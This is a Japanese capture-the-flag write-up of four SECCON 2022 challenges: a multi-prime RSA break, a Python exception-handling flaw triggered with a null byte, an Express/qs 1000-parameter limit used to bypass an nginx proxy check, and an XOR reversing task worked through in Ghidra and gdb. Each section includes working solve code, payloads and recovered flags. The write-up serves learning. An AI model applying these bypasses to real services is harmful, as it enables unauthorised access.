配布ファイルは暗号処理のスクリプトと出力結果。
from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537
assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)
assert m < n
c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)
print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")
e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
$n$ が3つの素数の積、 $e$ が65537の2倍になっている。multi-prime RSA。
また、 $c1 = p^e - q^e \bmod n$ と $c2 = (p - q)^e \bmod n$ が与えられている。
$c2$ は展開すると以下のようになる。
\[c2 = (p - q)^e \bmod n = p^e - p^{e-1}q + p^{e-2}q^2 - p^{e-3}q^3 + ... + q^e \bmod n\]最後の項 $q^e$ の符号が正なのは、 $e$ が偶数であることからわかる。
したがって、
\[c1 + c2 = 2p^e - p^{e-1}q + p^{e-2}q^2 - p^{e-3}q^3 + ... - pq^{e-1} \bmod n\]となる。ここから $c1+c2$ が $p$ の倍数であることがわかる。
$c1+c2$ が $p$ の倍数であり、一方で $q$ と $r$ の倍数ではないことがわかっており、かつ $n = pqr$ であることから、 $gcd(c1 + c2, n) = p$ であることがわかる。
同様にして、 $c1 - c2$ を求めると、
\[c1 - c2 = p^{e-1}q - p^{e-2}q^2 + p^{e-3}q^3 + ... + pq^{e-1} -2q^e \bmod n\]となり、 $c1-c2$ が $q$ の倍数となることから $gcd(c1 - c2, n) = q$ であることがわかる。
$p,q$ が求められれば、 $r$ も求められる。
通常のmulti-prime RSAであれば、
\[\phi = (p-1)(q-1)(r-1)\] \[d = e^{-1} \bmod \phi\]で秘密鍵 $d$ を求めて復号する。
$\phi$ は $e$ と互いに素である必要があるが、今回 $e$ が2の倍数であるため $gcd(\phi, e) = 2$ である。よって $e$ は逆元を持たない。
この場合、ひとまず $e$ を2で割って逆元を求められるようにして、 $m^2$ を求める。
\[d = (e/2)^{-1} \bmod \phi\] \[m^2 = cm^d \bmod n\]あとは $m$ を求めればいい。中国剰余定理で素数 $p,q,r$ に分解するが、法nの下でも平方は2パターン出る可能性があることに気を付ける。
2 * 2 * 2 で計8パターン網羅する必要がある。
e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
import math
from sage.rings.finite_rings.integer_mod import square_root_mod_prime
p = math.gcd(c1+c2, n)
q = math.gcd(c1-c2, n)
r = n//(p*q)
d = pow(e//2, -1, (p-1)*(q-1)*(r-1))
m2 = pow(cm, d, n)
mp = square_root_mod_prime(GF(p)(m2))
mq = square_root_mod_prime(GF(q)(m2))
mr = square_root_mod_prime(GF(r)(m2))
for i in [-1,1]:
for j in [-1,1]:
for k in [-1,1]:
m = CRT([i*int(mp), j*int(mq), k*int(mr)], [p, q, r])
if b'SECCON' in int(m).to_bytes(256, "big"):
print(int(m).to_bytes(256, "big"))
(⁎'~') < sage pqpq_solve.sage
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
Dockerfileとnetcatでアクセした時に受けるスクリプトが与えられる。スクリプトは以下。またDockerfileからLinux環境なのがわかる。
server.py
#!/usr/bin/env python3.9
import os
FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()
def check():
try:
filename = input("filename: ")
if open(filename, "rb").read(len(FLAG)) == FLAG:
return True
except FileNotFoundError:
print("[-] missing")
except IsADirectoryError:
print("[-] seems wrong")
except PermissionError:
print("[-] not mine")
except OSError:
print("[-] hurting my eyes")
except KeyboardInterrupt:
print("[-] gone")
return False
if __name__ == '__main__':
try:
check = check()
except:
print("[-] something went wrong")
exit(1)
finally:
if check:
print("[+] congrats!")
print(FLAG.decode())
素直にコードを読むと、入力したfilenameのファイルを開いて先頭からFLAGの長さ読み込んでFLAGと値が同じであればFLAGが得られるとわかる。
FLAGは環境変数として設定されている。
Linuxで実行中のプロセスの環境変数は /proc/self/environ にあるらしいが、server.pyは先頭から読むため一致しない。
main内のfinallyで if check
が真になるパターンが2つあることに気づけるかが問題だった。
1つは上記で書いた方法。もう1つはcheck関数内で補足されていない例外を起こした場合。
動作をわかりやすくするために同じ構成で以下のようなコードを用意してみた。
def check():
try:
n = int(input("n: "))
if 1 / n == 1:
return True
except ZeroDivisionError:
print("ZeroDivisionError in check")
#except ValueError:
# print("ValueError in check")
return False
if __name__ == '__main__':
try:
check = check()
except:
print("Error in main")
exit(1)
finally:
print(f"check = {check}")
if check:
print("flag find")
n
が 0 だったり、intにキャストできない値だと例外が発生する。
(⁎'~') < python3 sample.py
n: 0
ZeroDivisionError in check
check = False
(⁎'~') < python3 sample.py
n: a
Error in main
check = <function check at 0x109bf7e20>
flag find
実行してみると、check関数内で補足していない例外が発生した場合には、main内の変数 check
にはcheck関数オブジェクトが入り、この時の if check:
は真になることがわかる。
したがって、server.pyに対してもcheck関数内でいくつか補足している例外以外の例外を起こすような値を渡してやれば、flagが得られる。
nullを渡してあげると、補足していない ValueError
を起こせる。
(⁎'~') < python3 -c "print('\x00')"| nc find-flag.seccon.games 10042
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
別解として送信側の接続を切るというやり方もみかけた。EOFErrorが起きるらしい。
(⁎'~') < python3
>>> from pwn import *
>>> s = remote("find-flag.seccon.games", 10042)
[x] Opening connection to find-flag.seccon.games on port 10042
[x] Opening connection to find-flag.seccon.games on port 10042: Trying 153.125.145.62
[+] Opening connection to find-flag.seccon.games on port 10042: Done
>>> s.shutdown("send")
>>> print(s.recvall().decode())
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 99B
[*] Closed connection to find-flag.seccon.games port 10042
[+] Receiving all data: Done (99B)
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
nginxの設定をみると、リクエストに&proxy=nginx
が追加されることがわかる。
server {
listen 8080 default_server;
server_name nginx;
location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
}
一方アプリ側ではクエリのproxyにnginxが含まれているとステータスコード400を返すようになっており、含まれていなければflagが表示される仕組みになっている。
const app = require("express")();
const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;
app.get("/", (req, res) => {
req.query.proxy.includes("nginx")
? res.status(400).send("Access here directly, not via nginx :(")
: res.send(`Congratz! You got a flag: ${FLAG}`);
});
app.listen({ port: PORT, host: "0.0.0.0" }, () => {
console.log(`Server listening at ${PORT}`);
});
クエリのパース状態を見るためにapp.get("/", (req, res) => { ... });
の中にconsole.log(req.query);
を追加してローカルで動かしてみる。
順に、パラメータなし・?hoge=hoge
・?hoge=hoge&proxy=1
とやってみたところ以下のようになる。
同名のパラメータでは配列形式になるもincludes
は正常に動く。
最初の行でrequire
してる express というやつが、デフォルトのクエリパーサーとして採用している qs。 これに受け取るクエリパラメータ数の制限がある。
https://www.npmjs.com/package/qs
https://github.com/ljharb/qs/blob/main/lib/parse.js#L21
上記から1000個までとわかるので、勝手に追加される &proxy=nginx
を1001個目以降にしてしまえばよい。
アプリ内でproxyを参照してしまっているので、1000番目までのパラメータに値がnginxでないproxyを含めつつ、あとは適当なパラメータを999個つけてリクエストする。
(⁎'~') < python3
>>> import requests
>>> url = "http://skipinx.seccon.games:8080?proxy=a" + "&a=a" * 999
>>> r = requests.get(url)
>>> r.text
'Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}'
配布されたのはelfファイル。
(⁎'~') < file chall.baby
chall.baby: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ded5cc024f968b3087bf5d3df8649d14714e7202, for GNU/Linux 3.2.0, not stripped
正しい入力をコマンドライン引数にして実行しろという問題。
root@af3f3097d7a8:/share/seccon# ./chall.baby
Usage: ./chall.baby FLAG
root@af3f3097d7a8:/share/seccon# ./chall.baby AAA
Wrong...
Ghidraでのデコンパイル結果は以下。
undefined8 main(int param_1,undefined8 *param_2)
{
size_t sVar1;
ulong uVar2;
size_t sVar3;
ulong *__s;
undefined8 uVar4;
long in_FS_OFFSET;
undefined4 local_68;
undefined4 uStack100;
undefined4 uStack96;
undefined4 uStack92;
undefined4 local_58;
undefined2 local_54;
undefined local_52;
undefined4 local_48;
undefined4 uStack68;
undefined4 local_40;
undefined4 uStack60;
undefined4 local_38;
undefined4 uStack52;
undefined4 local_30;
undefined4 uStack44;
int local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 < 2) {
uVar4 = 1;
__printf_chk(1,"Usage: %s FLAG\n",*param_2);
}
else {
__s = (ulong *)param_2[1];
cpuid_basic_info(0);
local_28 = 0x380a41;
local_58 = 0x3032204e;
local_48 = 0x202f2004;
uStack68 = 0x591e2320;
local_40 = 0x202f2004;
uStack60 = 0x591e2320;
local_54 = 0x3232;
local_38 = 0x35a1711;
uStack52 = 0x736506d;
local_30 = 0x35a1711;
uStack44 = 0x736506d;
local_52 = 0;
local_68 = 0x636c6557;
uStack100 = 0x20656d6f;
uStack96 = 0x636c6557;
uStack92 = 0x20656d6f;
sVar1 = strlen((char *)__s);
if (sVar1 != 0) {
*(byte *)__s = *(byte *)__s ^ 0x57;
uVar2 = 1;
if (sVar1 != 1) {
do {
sVar3 = uVar2 + 1;
*(byte *)(param_2[1] + uVar2) =
*(byte *)(param_2[1] + uVar2) ^
*(byte *)((long)&local_68 +
uVar2 + ((SUB168(ZEXT816(uVar2) * ZEXT816(0x2e8ba2e8ba2e8ba3) >> 0x40,0) &
0xfffffffffffffffc) * 2 + (uVar2 / 0x16) * 3) * -2);
uVar2 = sVar3;
} while (sVar1 != sVar3);
}
__s = (ulong *)param_2[1];
}
if ((((__s[1] ^ CONCAT44(uStack60,local_40) | *__s ^ CONCAT44(uStack68,local_48)) == 0) &&
((__s[3] ^ CONCAT44(uStack44,local_30) | __s[2] ^ CONCAT44(uStack52,local_38)) == 0)) &&
(*(int *)(__s + 4) == local_28)) {
uVar4 = 0;
puts("Correct!");
}
else {
uVar4 = 0;
puts("Wrong...");
}
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar4;
}
ざっくり処理を追うと、以下のようになっている。
1. 引数が渡された場合はその値の1byte目と **0x57(b'W')** とのXORをとる
2. 1.の値を以降の1byteずつ、なんらかの値とのXORをとる
3. 2.の結果を別のなんらかの値と比較して条件を満たした場合に **Correct!** が表示される
3.の```put("Correct!")``` と ```put("Wrong...")``` の分岐部分のif文条件が複雑に見えるが、ただ定数と一致しているかを検証しているだけ。
```CONCAT``` は連結処理、```CONCAT44``` は4byteと4byteを繋げるという意味。
上の手順2.で得られた値とXORしているため、等しかった場合に0になり ```== 0``` が成り立つ。
ただ、ここで参照している ```local_48``` や ```uStack68``` の値がghidraのデコンパイル結果ではおかしい。
例えば ```local_48``` は ```local_40``` と同じ値になっており、```uStack68``` は ```uStack60``` と同じになっている。
```local_48``` に値の代入を行っている部分の逆アセンブル結果を見ると、正しい値がなにかはわかる。
001011b1 66 0f 6f MOVDQA XMM0,xmmword ptr [DAT_00103140] = 04h
05 87 1f
00 00
001011b9 b8 32 32 MOV EAX,0x3232
00 00
001011be 4c 89 e7 MOV RDI,R12
001011c1 c7 44 24 MOV dword ptr [RSP + local_28],0x380a41
40 41 0a
38 00
001011c9 c7 44 24 MOV dword ptr [RSP + local_58],0x3032204e
10 4e 20
32 30
001011d1 0f 11 44 MOVUPS xmmword ptr [RSP + local_48],XMM0
24 20
:
:
:
DAT_00103140 XREF[1]: main:001011b1(R)
00103140 04 ?? 04h
00103141 20 ?? 20h
00103142 2f ?? 2Fh /
00103143 20 ?? 20h
00103144 20 ?? 20h
00103145 23 ?? 23h #
00103146 1e ?? 1Eh
00103147 59 ?? 59h Y
00103148 44 ?? 44h D
00103149 1a ?? 1Ah
0010314a 7f ?? 7Fh
0010314b 35 ?? 35h 5
0010314c 75 ?? 75h u
0010314d 36 ?? 36h 6
0010314e 2d ?? 2Dh -
0010314f 2b ?? 2Bh + ```
local_48
に先頭4byte、uStack68
に次の4byteと入っているので、続くlocal_40
に次の4byte、uStack60
に最後の4byteが入るだろう。
同じように local38
, uStack52
, local30
, uStack44
も以下から実際に入っている値がわかる。
001011d6 66 0f 6f MOVDQA XMM0,xmmword ptr [DAT_00103150] = 11h
05 72 1f
00 00
001011de 66 89 44 MOV word ptr [RSP + local_54],AX
24 14
001011e3 0f 11 44 MOVUPS xmmword ptr [RSP + local_38],XMM0
24 30
:
:
:
DAT_00103150 XREF[1]: main:001011d6(R)
00103150 11 ?? 11h
00103151 17 ?? 17h
00103152 5a ?? 5Ah Z
00103153 03 ?? 03h
00103154 6d ?? 6Dh m
00103155 50 ?? 50h P
00103156 36 ?? 36h 6
00103157 07 ?? 07h
00103158 15 ?? 15h
00103159 3c ?? 3Ch <
0010315a 09 ?? 09h
0010315b 01 ?? 01h
0010315c 04 ?? 04h
0010315d 47 ?? 47h G
0010315e 2b ?? 2Bh +
0010315f 36 ?? 36h 6
手順3.のif文で一致確認しているのは、上記と local_28
の3byte分で全部で35byteとなる。
入力した引数の長さを途中で変えるような処理は見当たらないため、これがFLAGの長さになると考えられる。
ここらへんまでは自分で考えられたが、手順2.の処理がよくわからなかった。
local_68
が定数値であり、以下のような意味のある文字列を参照しているのでこれが鍵だろうとは予想できた。
DAT_00103160 XREF[1]: main:001011e8(R)
00103160 57 ?? 57h W
00103161 65 ?? 65h e
00103162 6c ?? 6Ch l
00103163 63 ?? 63h c
00103164 6f ?? 6Fh o
00103165 6d ?? 6Dh m
00103166 65 ?? 65h e
00103167 20 ?? 20h
00103168 74 ?? 74h t
00103169 6f ?? 6Fh o
0010316a 20 ?? 20h
0010316b 53 ?? 53h S
0010316c 45 ?? 45h E
0010316d 43 ?? 43h C
0010316e 43 ?? 43h C
0010316f 4f ?? 4Fh O
手順2.の処理を知るために、動的解析してみる。
手順3.のif文直前で比較する値がどうなっているかをgdbで観察する。
Ghidraの逆アセンブル結果からif文の処理のアドレスにbreakpointを設定する。
root@af3f3097d7a8:/share/seccon# gdb chall.baby
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
...
Reading symbols from chall.baby...
(No debugging symbols found in chall.baby)
gdb-peda$ b *(main+0x10125b-0x101180)
Breakpoint 1 at 0x125b
gdb-peda$ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /share/seccon/chall.baby AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: Error disabling address space randomization: Operation not permitted
[----------------------------------registers-----------------------------------]
RAX: 0x43 ('C')
RBX: 0x756e6547 ('Genu')
RCX: 0x24 ('$')
RDX: 0xd ('\r')
RSI: 0x7ffcd85ec904 --> 0x504f5353454c0002
RDI: 0x24 ('$')
RBP: 0x7ffcd85eb4e8 --> 0x7ffcd85ec8c8 ("/share/seccon/chall.baby")
RSP: 0x7ffcd85eb390 ("Welcome to SECCON 2022")
RIP: 0x55ce3670525b (<main+219>: mov rax,QWORD PTR [r12])
R8 : 0x2e8ba2e8ba2e8ba3
R9 : 0x7f49e024ed50 (endbr64)
R10: 0x5
R11: 0x0
R12: 0x7ffcd85ec8e1 --> 0x61242c2e222d2416
R13: 0x7ffcd85eb4e0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55ce36705252 <main+210>: cmp rdi,rcx
0x55ce36705255 <main+213>: jne 0x55ce36705220 <main+160>
0x55ce36705257 <main+215>: mov r12,QWORD PTR [rbp+0x8]
=> 0x55ce3670525b <main+219>: mov rax,QWORD PTR [r12]
0x55ce3670525f <main+223>: mov rdx,QWORD PTR [r12+0x8]
0x55ce36705264 <main+228>: xor rax,QWORD PTR [rsp+0x20]
0x55ce36705269 <main+233>: xor rdx,QWORD PTR [rsp+0x28]
0x55ce3670526e <main+238>: or rdx,rax
[------------------------------------stack-------------------------------------]
0000| 0x7ffcd85eb390 ("Welcome to SECCON 2022")
0008| 0x7ffcd85eb398 ("to SECCON 2022")
0016| 0x7ffcd85eb3a0 --> 0x32323032204e ('N 2022')
0024| 0x7ffcd85eb3a8 --> 0xf6c8b89910e80000
0032| 0x7ffcd85eb3b0 --> 0x591e2320202f2004
0040| 0x7ffcd85eb3b8 --> 0x2b2d3675357f1a44
0048| 0x7ffcd85eb3c0 --> 0x736506d035a1711
0056| 0x7ffcd85eb3c8 --> 0x362b470401093c15
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000055ce3670525b in main ()
gdb-peda$ x/35bx $r12
0x7ffcd85ec8e1: 0x16 0x24 0x2d 0x22 0x2e 0x2c 0x24 0x61
0x7ffcd85ec8e9: 0x35 0x2e 0x61 0x12 0x04 0x02 0x02 0x0e
0x7ffcd85ec8f1: 0x0f 0x61 0x73 0x71 0x73 0x73 0x16 0x24
0x7ffcd85ec8f9: 0x2d 0x22 0x2e 0x2c 0x24 0x61 0x35 0x2e
0x7ffcd85ec901: 0x61 0x12 0x04
gdb-peda$ x/35bx $rsp+0x20
0x7ffcd85eb3b0: 0x04 0x20 0x2f 0x20 0x20 0x23 0x1e 0x59
0x7ffcd85eb3b8: 0x44 0x1a 0x7f 0x35 0x75 0x36 0x2d 0x2b
0x7ffcd85eb3c0: 0x11 0x17 0x5a 0x03 0x6d 0x50 0x36 0x07
0x7ffcd85eb3c8: 0x15 0x3c 0x09 0x01 0x04 0x47 0x2b 0x36
0x7ffcd85eb3d0: 0x41 0x0a 0x38
r12
が入力した AAAAAA...
を何らかの値とXORした値で、rsp+0x20
が正しい入力をした場合に変換後得られる値。
結論言うと単純に Welcome to SECCON 2022 の繰り返しとXORしただけだった。
なので引数を Welcome to SECCON 2022 の35文字繰り返しにすると r12
は全部 0x00 になる。
gdb-peda$ run "Welcome to SECCON 2022Welcome to SECCON 2022W"
Starting program: /share/seccon/chall.baby "Welcome to SECCON 2022Welcome to SECCON 2022W"
...
Breakpoint 1, 0x000055bf9594225b in main ()
gdb-peda$ x/35bx $r12
0x7ffd1d3d88d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffd1d3d88e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffd1d3d88e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffd1d3d88f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffd1d3d88f8: 0x00 0x00 0x00
つまり簡単に式にすると
(入力引数) ⊕ (“Welcome to..”) ⊕ (正しい入力をした場合に変換後得られる値)= 0
となれば良い。これを満たすためには、
(入力引数) = (“Welcome to..”) ⊕ (正しい入力をした場合に変換後得られる値)
となれば良いので、以下のようなスクリプトを作成。
key_length = 35
key = "Welcome to SECCON 2022" * 3
key = key[:key_length]
expect_value = """
0x04 0x20 0x2f 0x20 0x20 0x23 0x1e 0x59
0x44 0x1a 0x7f 0x35 0x75 0x36 0x2d 0x2b
0x11 0x17 0x5a 0x03 0x6d 0x50 0x36 0x07
0x15 0x3c 0x09 0x01 0x04 0x47 0x2b 0x36
0x41 0x0a 0x38
"""
expect_list = expect_value.split()
for i in range(key_length):
print(chr(int(expect_list[i],16) ^ ord(key[i])), end="")
print()
(⁎'~') < python3 challbaby_solve.py
SECCON{y0u_f0und_7h3_baby_flag_YaY}